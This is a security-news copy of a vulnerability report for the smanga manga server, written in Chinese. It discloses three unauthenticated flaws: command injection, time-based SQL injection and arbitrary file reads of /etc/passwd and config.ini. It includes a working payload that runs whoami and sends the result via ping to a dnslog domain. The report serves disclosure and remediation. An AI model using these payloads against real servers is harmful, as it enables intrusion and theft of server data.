Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2023-36076: 3个高危漏洞 · Issue #100 · lkw199711/smanga

SQL Injection vulnerability in smanga version 3.1.9 and earlier, allows remote attackers to execute arbitrary code and gain sensitive information via mediaId, mangaId, and userId parameters in php/history/add.php.

CVE
#sql#vulnerability#php#docker

测试环境说明

  • 版本:3.2.7(最新版)
  • 环境:docker

docker搭建所使用的命令:

docker run -itd --name smanga \
-p 3333:3306 \
-p 8097:80 \
-v /mnt:/mnt \
-v /route/smanga:/data \
-v /route/compress:/compress \
lkw199711/smanga;

1、未授权远程代码执行

  • 漏洞描述

/php/manga/delete.php接口处存在未授权远程代码执行漏洞,攻击者可在目标主机执行任意命令,获取服务器权限。

Payload:

mangaId=1 union select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d join (select '\";ping -c 3 `whoami`.357efab8.dns.dnsmap.org.;\"')e join (select 6)f join (select 7)g join (select 8)h join (select 9)i join (select 10)j join (select 11)k join (select 12)l;&deleteFile=true
  • 漏洞复现

payload中触发RCE的是第5个联合查询项,执行命令会先获取服务器用户名并携带用户名信息往dnslog域名发送icmp包,测试成功收到dnslog记录,且获取回显信息。

  • 漏洞原理
    payload中通过sql联合查询拼接自己构造的查询项,构造第5个查询项为命令注入点,即mangaPath的值,程序中删除逻辑没有对参数进行过滤,直接使用rm -rf拼接mangaPath删除,造成了命令注入。

其中拼接sql语句的select方法中使用where方法将每个条件进行and分割,干扰了正常union查询的构造,所以不使用逗号,而使用join的形式绕过。

2、未授权SQL注入

  • 漏洞描述

补充说明:类似的位置还有很多,均是没有对参数点进行过滤,造成多种类型的SQL注入,修复时可参考一并修复。

php/history/add.php接口处没有对mediaId、mangaId和userId三个参数进行过滤,导致拼接任意sql命令,造成sql注入,未授权的攻击者可获取数据库权限。

  • 漏洞复现

使用基于时间的盲注测试mediaId接口。
构造Payload分别为sleep 6秒和3秒,成功满足预期效果。

if(now()=sysdate()%2Csleep(3)%2C0)


if(now()=sysdate()%2Csleep(6)%2C0)

使用sqlmap利用测试,成功获取数据库名:

  • 漏洞原理

sql语句查询没有对接收的参数进行过滤。

3、未授权任意文件读取

  • 漏洞描述

/php/get-file-flow.php接口处file参数没有进行过滤,存在路径遍历,造成任意文件读取漏洞,未授权的攻击者可读取配置文件。

  • 漏洞复现

尝试读取/etc/passwd

尝试读取config.ini

  • 漏洞原理

没有对file参数进行过滤,导致任意文件读取。

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda